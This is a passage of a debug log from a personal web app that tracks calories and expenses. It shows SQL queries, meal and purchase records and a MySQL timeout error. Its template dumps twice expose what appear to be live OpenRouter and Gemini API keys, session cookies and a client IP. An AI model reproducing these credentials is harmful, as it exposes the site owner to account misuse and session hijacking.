    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-20T10:33:13.119Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-20T10:33:13.119Z server-connect:app Executing action step select
2025-12-20T10:33:13.119Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-20T10:33:13.120Z server-connect:output item_list: [
  {
    id: 460,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee,Green tea,BCAA supplements (calorie-free)',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 2,
    skip_reason: "Pre-workouts vary greatly in ingredients and calorie content. Some can contain significant amounts of sugar or artificial sweeteners, and their effectiveness for muscle development can be debated. While generally safe, it's good to be mindful of what's in your specific pre-workout."
  },
  {
    id: 461,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Paneer (soft and fluffy)',
    calories: 352,
    protein_gm: 23,
    carbs_gm: 4,
    fat_gm: 28,
    quantity: '110 gm',
    replacements: 'Tofu (firm or extra-firm),Low-fat cottage cheese,Chicken breast,Egg whites',
    created_at: '2025-12-19T22:39:38.000Z',
    skip_level: 1,
    skip_reason: "Paneer is a good source of protein and fat, essential for muscle development. While it's relatively high in calories and fat, in moderation and as part of a balanced diet, it's beneficial for your goals."
  },
  {
    id: 462,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 2,
    fat_gm: 1,
    quantity: '1 scoop (approx. 30g, assuming a standard scoop size to provide 27g protein)',
    replacements: 'Casein protein (slower digestion, similar calories),Plant-based protein (pea, rice, soy - can be lower calorie depending on brand)',
    created_at: '2025-12-20T00:11:33.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
  },
  {
    id: 463,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Apple',
    calories: 78,
    protein_gm: 0,
    carbs_gm: 21,
    fat_gm: 0,
    quantity: '1 small size (approx 150g)',
    replacements: 'Berries (strawberries, blueberries),Cucumber,Celery',
    created_at: '2025-12-20T00:45:19.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 464,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: "Milk (Cow's Milk, whole)",
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 glass (approx 240 ml)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of protein and calcium for muscle development. Whole milk has more fat, but can be beneficial for satiety and energy for an active individual.'
  },
  {
    id: 465,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple,Pear',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Good source of carbohydrates for energy, and potassium for muscle function. Essential for pre or post-workout fuel.'
  },
  {
    id: 466,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios (in moderation)',
    created_at: '2025-12-20T00:54:09.000Z',
    skip_level: 1,
    skip_reason: 'Provides healthy fats, protein, and micronutrients. Good for satiety and overall health. Quantity is reasonable.'
  },
  {
    id: 467,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries),Apple slices,Pear',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 468,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk',
    calories: 150,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 8,
    quantity: '1 cup (approx 240ml, assuming whole milk)',
    replacements: 'Skim milk,Almond milk (unsweetened),Soy milk (unsweetened)',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 469,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Cashew',
    calories: 55,
    protein_gm: 2,
    carbs_gm: 3,
    fat_gm: 4,
    quantity: 'Few (approx 10g, about 5-6 cashews)',
    replacements: 'Almonds,Walnuts,Pistachios',
    created_at: '2025-12-20T04:49:42.000Z',
    skip_level: 1,
    skip_reason: ''
  },
  {
    id: 470,
    intake_date: '2025-12-19T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea',
    created_at: '2025-12-20T05:03:12.000Z',
    skip_level: 1,
    skip_reason: 'Generally good for health, especially without added sugar. Provides some protein and calcium from milk. For muscle development, protein is beneficial.'
  }
]
2025-12-20T10:33:13.120Z server-connect:app Executing action step setvalue
2025-12-20T10:33:13.120Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-20T10:33:13.120Z server-connect:output var_total: 1230
2025-12-20T10:33:13.121Z server-connect:app Executing action step setvalue
2025-12-20T10:33:13.121Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-20T10:33:13.121Z server-connect:output var_consumed: 51
2025-12-20T10:33:13.121Z server-connect:app Executing action step setvalue
2025-12-20T10:33:13.121Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-20T10:33:13.121Z server-connect:output var_deficit: 1170
2025-12-20T10:33:13.121Z server-connect:app Executing action step custom
2025-12-20T10:33:13.121Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-20T10:33:13.122Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1230',
    surplus_or_deficit: '1170',
    status_flag: 2
  }
]
2025-12-20T10:33:13.728Z server-connect:app Executing action step identify
2025-12-20T10:33:13.728Z server-connect:app options: { provider: 'security' }
2025-12-20T10:33:13.728Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 10:35:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 10:35:18' as DATETIME)"
}
2025-12-20T10:44:36.277Z server-connect:router Serving templateView /expense/list
2025-12-20T10:44:36.278Z server-connect:app Executing action step identify
2025-12-20T10:44:36.278Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:36.278Z server-connect:output identity: 1
2025-12-20T10:44:36.278Z server-connect:app Executing action step restrict
2025-12-20T10:44:36.278Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T10:44:36.280Z server-connect:output restrict: undefined
2025-12-20T10:44:36.280Z server-connect:router Render template expense/list
2025-12-20T10:44:36.280Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-21T06:14:38.738Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1SXn3YRCbSfsc18lVTI0sA%3D%3D.JmUkRLCxNuxHNlf01cqT1n4RC42vr%2FOZqPFKwwn2ByNjkddF%2Bhl13sx9yABJQzln4vsh2KXSTAfYMKwzQOnzxGKRAPsc1IOCXK4LJK3Qt7IbP21R7oCIyzCSVn7WkrFome14nxs7gPcL5TkYcxqUDOkf7XEcPV8APNQStFTJvgA%3D.fdWnWvBctrLnmI9WJz5FM%2FynULUKUGx%2BE5B%2B8W%2BavVo; your_r_git.sid=s%3AQCIBu3-xYemX7Zyess-nn4MF1-Abm-dh.5ZBk8dmQ3QkAQYcz1NqKmREpCU3rQnQuNwQ7%2FkfePeA',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-20T10:44:36.643Z server-connect:router Serving serverConnect /api/expense/list
2025-12-20T10:44:36.644Z server-connect:router Serving serverConnect /api/masters/get-tags
2025-12-20T10:44:36.644Z server-connect:app Executing action step identify
2025-12-20T10:44:36.644Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:36.645Z server-connect:output identity: 1
2025-12-20T10:44:36.645Z server-connect:app Executing action step restrict
2025-12-20T10:44:36.645Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:36.645Z server-connect:output restrict: undefined
2025-12-20T10:44:36.645Z server-connect:app Executing action step paged
2025-12-20T10:44:36.646Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2025-12-20T10:44:36.646Z server-connect:app Executing action step identify
2025-12-20T10:44:36.646Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:36.646Z server-connect:output identity: 1
2025-12-20T10:44:36.646Z server-connect:app Executing action step restrict
2025-12-20T10:44:36.646Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-20T10:44:36.654Z server-connect:output restrict: undefined
2025-12-20T10:44:36.654Z server-connect:app Executing action step select
2025-12-20T10:44:36.654Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2025-12-20T10:44:36.656Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2025-12-20T10:44:36.658Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2025-12-20T10:44:39.300Z server-connect:router Serving templateView /collections
2025-12-20T10:44:39.300Z server-connect:app Executing action step identify
2025-12-20T10:44:39.300Z server-connect:app options: { provider: 'security' }
2025-12-20T10:44:39.301Z server-connect:output identity: 1
2025-12-20T10:44:39.301Z server-connect:app Executing action step restrict
2025-12-20T10:44:39.301Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-20T10:44:39.301Z server-connect:output restrict: undefined
2025-12-20T10:44:39.301Z server-connect:router Render template masters/collections
2025-12-20T10:44:39.301Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/collections',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
